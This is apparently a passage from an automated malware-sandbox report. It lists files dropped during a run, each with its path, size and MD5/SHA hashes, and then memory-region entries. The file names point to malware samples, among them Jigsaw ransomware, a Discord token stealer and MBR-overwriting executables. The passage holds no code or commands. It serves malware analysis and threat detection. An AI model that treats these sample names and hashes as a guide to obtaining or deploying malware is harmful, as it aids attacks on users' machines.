                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  24cf3ef1287d0efb31085c61b07cb492902542c2bb75cad46f85917148c170f6af56e7fe26a042208bdeeca46c86d10622aa16cae8b4ccd42cb41db533e6d976

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  8KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  2e3b4a6974750dd16f7c8b0c8322c0bf

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  d4e03159cd1f46f6bb63fd4f34500aa87f0cf158

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  4b8c101f6793ed589127855c4ad7e085933c4e9791badc754d5169350a681e39

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  dbf94286163d3437cc076422411df1f47686dc5a3817de4662f6af0e3f2b88bd68c770989aa71202d6bdfcd78ff409436850043a4b6711b49d769419fe36b6c4

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  9KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  7050d5ae8acfbe560fa11073fef8185d

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  5bc38e77ff06785fe0aec5a345c4ccd15752560e

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\244b4205acb416700bec459c8b36be379c0b7e3d2a21a57c4a121ba95d229bc4.doc

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  47KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  1a7d5e0fe2288a2fd4910c685b9142b3

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  63a5e7851c9146554e2e5cef467f7d78c734169a

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  244b4205acb416700bec459c8b36be379c0b7e3d2a21a57c4a121ba95d229bc4

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  e1c31ab879a2fe5d2970fdbab9deed3fffeab358d9ea72407927591139857bd7b784e1275a77c716a23eb2a49e6a5fbc1b614ef1e3f517c9a62e99f16262a57d

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\CollabVM.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  863KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  9fb14d31e80a96f0054a324b0971b229

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  681a2de46c1859248539d8c5d19e8f1435c13b32

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  eaf46bc9bee18096d1236053b7d41279b3b74c7c19d63200daccfdcbaf17b796

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  b5638ee712ce077c6324659205534d45f2ce81b13be1b9421cd65d311bd5d84e0fca0fab826a51ba3e2e58c53d9291aacb2bb9061acf7701079e6e536e234add

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\OMG u guize ROGUEAMP IS A 1337 UTUBEZ haXx0r.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  960KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  4a7712b5db89e575ecf3c49846af5553

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  0bd8bbe0e7d3c85ca1ffb204bfe3af22d3740955

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  cc7c7882b248ba1a75f6103869d63505a339daabcad5400372c2c319db4ec71b

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  05db79364f7a4e1b96a90ebca20d0aab0b8a16bcdd5274bb8fd9d9574f5189dae053580c5185884c0cfae4cfd77306c7734ea3cc578417dd97e2668383420d20

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  577KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  0bd61f046f4d99491fa3588dba294e04

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  e11aa40742e7842130922a483e12377b162e6e74

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  ef9e871b1df21e26aaee91de42a9939766db3db6543f6b7e151e8b6e37124723

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  c074f42f29abb6987520f6c661ccff1e6bbf3389a23c4416fa4489cf144947ceb3e0962a5c510d99edd42ee070cb9bf262350afa56fbd2bee5deae591c255c5b

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Windows Service.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  40c0f73c336771dadbaa7df2eb6e61c3

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  be4b4cfa72d832933c534de6e5abf43a0a0761fb

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  ecfd75a2f55b3cacb535060cd88b88eb9048eb6b00f1220010371ace56375721

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  4739c63720d90d11cfd53eea7ed88921a5f27865c44db1d076a996c64924c9ccf1795fbc5f0b80287fe0f6a8b0a4291d66c7f318a5dd231113ba8a4c783e6486

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z2e5wwnx.n3l.ps1

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  60B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\donut.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  58KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  e76eca2f7d0450c84417a8ac242b424c

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  abdb8a43a6d0bf9c60d9cd4223da787c33b341bb

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  2f40011df85d75556816ac944d805b6313da44c73c80778af62be5727c005811

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  242f6e558fbe5dff48f9ca4776ffe58042741c9569d6b26ef45029dd035b1c61f5ef871d5d1645326fd816a8ef31baf1edac0e55cc4612e6d374bf834c144fa6

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\bootstrap_33896.html

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  156B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  1ea9e5b417811379e874ad4870d5c51a

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  a4bd01f828454f3619a815dbe5423b181ec4051c

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  f076773a6e3ae0f1cee3c69232779a1aaaf05202db472040c0c8ea4a70af173a

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  965c10d2aa5312602153338da873e8866d2782e0cf633befe5a552b770e08abf47a4d2e007cdef7010c212ebcb9fefea5610c41c7ed1553440eaeab7ddd72daa

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\css\buttons.css

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  f03b9fcc0266083e3230b560e77a9793

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  c3110a2cc7c003c37b9cdb77f57dbd39bc7ae35b

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  dc5536ce2007fbe3f9640900af3598378bd5072cdd221d7772bdf25e90961236

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  6c6c8b924362d24ce7d238a166910b697638fcc4e798684c46191d405ae333a62d7036108aad0816018ca451ebca982a2a95b8795add51a9c3dabc7cf2280959

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\css\main.css

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  3KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  a57feadde7e5a4d66d498841fe67f10b

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  8f2d54747f7e34b16311e435448a32cf23e6abd1

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  105b507c81b860c617312b3a0371db669a08210351a4d63f390b52b46abf0b40

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  98caddc50e87d1ea43be9c1355c1f116872e341cd28392a6130d027b72db1fff7cde10b7124942bfe750198c3b39df14937ec2ea19a529ec7d06b964ac68c422

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\css\sdk-ui\browse.css

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  318B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  10c359bc980927bb66b215407ece3e66

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  4a2fc034bf7b4e84d832b6bbd9413d2055b9ec62

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  5b12769a75d1c755a284a73e1b8422f73d6223c23b72e5bce698c17f50185aa8

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  ed707c6bbf5023aa147571d9d186e8348b11da6fb462de69e4135480f2e10081c416c80745411752797401660221e2040e624b5a6d3e1a57ba59cdcc009eb16c

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\css\sdk-ui\button.css

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  417B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  37e1ff96e084ec201f0d95feef4d5e94

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  4ec405f2668d5d93260525ad916abafa2414cb72

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  8e806f5b94fc294e918503c8053ef1284e4f4b1e02c7da4f4635e33ec33e0534

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  1a8a27a92abe35edaa2c950b130579c92f0d0d87b09971843c39569cf06d407b8e896751e73452676bfad45a363f0b6dd00cb6c5faf33966880539e106b19f94

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\css\sdk-ui\checkbox.css

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  190B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  64773c6b0e3413c81aebc46cce8c9318

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  50f84ef8331341b48981af82313b146863eba526

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  b09504c1bf0486d3ec46500592b178a3a6c39284672af8815c3687cc3d29560d

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  03e96bef74c0b3a31124c3d3c1bb78af1053a8719ca373c6b9316d63bac9545c1f4ecc2d747eb64341d8da31bc0f23da094e19c3e07ed46f65c28dc88e13bd3a

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\css\sdk-ui\progress-bar.css

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  501B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  5ccd1d0dc39bb6ae4cd6b58f0b310eb0

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  da659b6a37b18c26a8f7342f93c03fe649ab6344

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  65246150423f8ef670f831b5a2ce1e924adc90e3bfbcce41e9fedbd1df8d27ff

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  02f8eca06c0b8e69268c6aa1487ecf3a9024bce9ce757f2ac1b961df421d9121762f5f5abd5d00228f3a7416b2f21adb3a675114b32263b02fdfee9e0bd48781

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\images\Bg.jpg

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  13KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  7979c0c1720c8020cd6b2c4c439c8dc1

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  61848c9ffa2cc889cf7053340f8f1f6e2493a2fb

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  8e95caad4d58b89dc56bc0b01d116e440606f5bb84d0b6c65b9f4ed9d236e183

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  21591737e83b409bc41b8851abba6ef429bf2f836d34b5807420a223c5676c2009e79eb0b2cf1c698c5900613fe3643bae6667385264e120c853055ad7ad641b

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\images\Software.png

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  29KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  037277cc7c83e5ce275dbcd95f6b44ea

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  2e0e2dcc43580f4e02676401247937a84eb4428a

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  7231dd694f3e5c3ee42eb52164ff09bb631482d0606a240bcdfc4f501ccace06

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  26d60b0ba537698fa9ef1f1e41e6b41207308caffd5f1a32946fa9631ecbc1d73fd8983f64aa5da7f35421c29d4208e04c14091f724dd45e79e131d77104ee4d

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\images\back-button.png

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  c5d63a3d40ff748895cf763749e8b931

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  b3b4248e492727690c2adc7306a8ea0cd675b2ef

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  226abf53c68832d2f353baf5f6c4b22464571cf247e4b811b9e736a0712250e1

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  57a8d996b853b0b756840079f47b10c0a5f56cd6ad330dfd82e8609e4f10cea26a7934e1635cf0db0ca4801600b6b25f71f443f4158a8b77c08b3cd75fe25774

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\images\close_button.png

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  77804bd31b703f61b2c3de518cd25d38

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  b9968e5cb49d8607eca39d1bb77dd6c7ec78ed0b

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  ded6fa33bf68caa6e168dc52ad9665fc3045e4d78f4ae4025f4232d6ec3628c6

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  fd1e64e5cedd50a68ce264c5c67e5d69189c56a49c5f1e47dfc7edd33b11115412b4ba9bdff0ea853221f2b8331e4326ad0196731b8fbddc9cb8df98c3dce8be

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\images\finish-button.png

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  bde927ddfe21e4acbe1331b93b019883

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  1f7d30c90a8f07917ec043a11f29028949fb7fd9

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  54517f639ff9017fd8c8805151e52c7fff17240c84e7b02d6d63cf468b2043a2

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  773c2aac75dd68f7f34185e9ef0d1b6e2bff2e720800339bfd223fe79f6dd96852cd5863a22c1f67903d69564594bd0709fcb0554967cf01c23a99ec007d2d4b

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\images\icon.png

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  6KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  de79607318368d7d82fefaef312c6fea

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  6b6f07d0cebe9eb54d0a125f83ec52533ccaea8b

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  be8ae8078450d28c47580f1a04ade46e1eb2b6fb8344c5e97ab739f1d9e97e42

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  f9d974dbb5dc55920dae6314633fe14930d35fd7ae41f2e0ddb33d3833d9f362bf15545825c5019bcb9e24c53160256934289c9fbad5c6034bfa11d8c773b0b6

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\images\loader.gif

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  21KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  360281e85620142c3329848262da263d

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  032ae1e422af859d78d172e918573fb0f55318de

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  6c7d0d5402ebcf34cb6280473b4dac5966aae2a4bdadf80c796245663e2d9b55

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  48ea37754839abce73898d29c6cb1ede20ac980dcd0b8c0f1274a690ea0bb44659129aba7581bd473ab7a735b7b9d08d6d041973bced4fe3fc0b70b3a73ec2a6

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\images\next-button.png

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  480bc7cc2b6e44d314da14ce58fc8681

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  50611ec8622ee27aa65b53005e89bb705c3f4aa6

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  614e34e75b472829cd43fb6be97327ef86c3fc7247d0a4044fae7ecb152efddf

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  97236ee3797fe5815a736293798c968cce6b8197748cb5e64f3c81fbd6b8846ed90ce925ceababb3c0213144173b94ef27de0ecb80a706e8d093046bdad49a71

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\images\progress-bg.png

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  2KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  32a6846fe53388eb03be3ada2221297f

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  1c1baec7b7fe7a420ccf68d3112384b44f8ba89e

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  5c6d20c98c106bc6df49447b9939a90ba6a5e3c20d89ca0621677a7501bdb127

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  79c4f3a72467b61c27d6e93415bae3fc61a9fde62aae4202ba8ed1de6328f5facc48092bfe57db70338a0a4b50f571d501eed04aed8b047d20aa28ee7446ce98

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ish240684750\images\skip-button.png

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  db6ed921d71eb71d0f2e472655163128

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  fd05f5b1d3f7c22d2e552e5710a87c8377df5e9d

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  1499b6c109c092920c6f19b4a213d7d35771d4410c7df2fe4d23ecbe5e257450

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  cc46822bd1fb16dd9254fb6c9d5df23d30ee1a8fa0ec6954812ae0136a6f4cca7f78044fa5b0ffd87896a44c92aaa7520db4b0164cf2c7828abd3140c21ab866

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jigsaw_ransom.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  320KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  876d424bdfef69c9ae639da6664f9f13

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  cb5bc53cd90084973dd17ab28ddcb117f6f806d0

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  65a30d08f4a41ad90927d9a5a8ff68349a7c46fd7aa09e2cc999db6e4e26d5b3

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  6e265dbcc4897f457d3c3302eb6483c9be75682463ce11e920510d44b67543e3f3fbd48707709de6de14f5c8f98d2f325125d63cf28c3f17c44a666d064c2ca6

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\yababi.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  6.0MB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  ca710591543797b655a51b04585e2d58

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  d1fb89147c58cb9f73f2e827fd4e6d41940076df

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  ec9d392b8a8705a0a510a47e1a4ee3b8785dc87bb2b89b5d6c5eee81e92c11f2

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  115ff641cb3b0888c3075decb603003a651dbb04bce79e4be6d4cad09ad4fe03cca9c7327e26a48a7fd8ed42e0fba2c283bc925d4e50635d3a0a0c6c727146c0

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\クラック.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  17.8MB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  61bcb94052e57f07e8c662a80d8c29c1

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  db9d2e9e37eddedc1722727e8ce5a0a242a9ff10

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  3b0cfdd500288507ec287e0e2f33d7acb7a2bcad1537fcfb29a47a4fa7cc23a6

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  7f9f9c2c6cd5dd49baf6791808e5a31c9e4726d27f87aaad8e2df75ab2a0dbf20956d0bab8761a9e742d1fa85052f9f7f0ae8e6cf269a0761053786e547935a1

                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\mekkiwtffc\stiydxpkh.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  912KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  e78afab1c48e3db4f6eeac83c5d7491f

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  d117e6198ac31a750f9cdc01e78763e73186d65c

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  854b311a73b55e36ea916da96cc497045c2767e532897cbee77c3bc0ed809b07

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  4f330db371284a99ace35f6e3f8d30c1657269113d8778110c7316ad91d045109cc16d925073c31839cdafe9a8f8d50ef9a638182fec08ce223b3cf9c5b20cbb

                                                                                                                                                                                                • C:\Users\Admin\Desktop\My-Skidded-malwares-main\MarisaMBR.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  585KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  6c21116078b7a90e7cf1492805a548dc

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  17c7bc8d17b42b258557e23ae7b0b68ba732c5a0

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  88b3be30c450d7cf75bbbae7c5367bb230b8c343b8d8fe02eddf9f96c82f2496

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  b6e756f480f219e636ee5d55a78c5e1ccd847ce9fa8a73f5e0209ecc4bfe8b8e4f129c1ac413f49990d7bce18817ea60aedd6fde9be430d7a34795baaeee8447

                                                                                                                                                                                                • C:\Users\Admin\Desktop\My-Skidded-malwares-main\NazrinMBR.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  585KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  edd65f78ef00c65c4c1aaf6b0008bb6e

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  15c89a818f1f77e37c5834ef0c1206ae503b88fe

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  39f10bd32de22b4495d01191017485261a937ed1b60373720ae831feed973031

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  0cf6ad704170fcd7c3b62ad2a7015e9f5ce520fe26533a83729b4bc9554d2b2bc7038afb84fe1207379d9af983f9bee263fa1b78fcea46ddac77785fa7d173dd

                                                                                                                                                                                                • C:\Users\Admin\Desktop\My-Skidded-malwares-main\PCCooker2.0_x64.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  24.5MB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  a5ca2d3b20cf191139a47d7261916d9e

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  5d56e08cc55731f96db03911dba96dcdf22bcac8

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  e008b76d8040ef039424e6f7eec37b866fc7ab71d1cb11d839b4d4449758b3b8174249c353d1726ed736cb9c854cafda7648aee7a12c93d8a8e0cd0013a0c3ad

                                                                                                                                                                                                • C:\Users\Admin\Desktop\My-Skidded-malwares-main\PanKoza2.0 Discord Token Stealer 2024.exe

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  9.5MB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  6c21e9957b540c1fc5c6c30f991423dd

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  3937d74580a14bb8debd9c763fb1816cb26b881d

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  fd6b4896e31a516c1aceae5d2e82822dc0efdecbcebf882b2875e57ce9e26cb0

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  f4b7825e1cd7267b2bc9e8801c19ae72b76a0269dd0fb144303494882eb68bc4f0e2d8b6766f80252b6acd12090a6b6f0c4bc5e2c089d35a24e0a64de2bda5ba

                                                                                                                                                                                                • memory/220-362-0x0000000000560000-0x0000000000892000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  3.2MB

                                                                                                                                                                                                • memory/220-633-0x000000001B960000-0x000000001B970000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  64KB

                                                                                                                                                                                                • memory/220-618-0x000000001B9A0000-0x000000001B9F0000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  320KB

                                                                                                                                                                                                • memory/220-620-0x0000000001070000-0x0000000001080000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  64KB

                                                                                                                                                                                                • memory/220-622-0x000000001B620000-0x000000001B638000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  96KB

                                                                                                                                                                                                • memory/220-617-0x0000000002920000-0x000000000293C000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  112KB

                                                                                                                                                                                                • memory/220-624-0x0000000002900000-0x0000000002910000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  64KB

                                                                                                                                                                                                • memory/220-627-0x0000000002910000-0x0000000002920000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  64KB

                                                                                                                                                                                                • memory/220-629-0x000000001B950000-0x000000001B95E000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  56KB

                                                                                                                                                                                                • memory/220-586-0x0000000002870000-0x0000000002896000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  152KB

                                                                                                                                                                                                • memory/220-631-0x000000001B980000-0x000000001B992000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  72KB

                                                                                                                                                                                                • memory/220-692-0x000000001BD10000-0x000000001BD28000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  96KB

                                                                                                                                                                                                • memory/220-635-0x000000001BA10000-0x000000001BA26000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  88KB

                                                                                                                                                                                                • memory/220-667-0x000000001BA50000-0x000000001BA5E000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  56KB

                                                                                                                                                                                                • memory/220-637-0x000000001BA30000-0x000000001BA42000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  72KB

                                                                                                                                                                                                • memory/220-639-0x000000001BF80000-0x000000001C4A8000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  5.2MB

                                                                                                                                                                                                • memory/220-663-0x000000001BA00000-0x000000001BA10000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  64KB

                                                                                                                                                                                                • memory/220-649-0x000000001B9F0000-0x000000001BA00000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  64KB

                                                                                                                                                                                                • memory/220-665-0x000000001BAB0000-0x000000001BB0A000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  360KB

                                                                                                                                                                                                • memory/220-641-0x000000001B970000-0x000000001B97E000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  56KB

                                                                                                                                                                                                • memory/220-677-0x000000001BA60000-0x000000001BA70000-memory.dmp

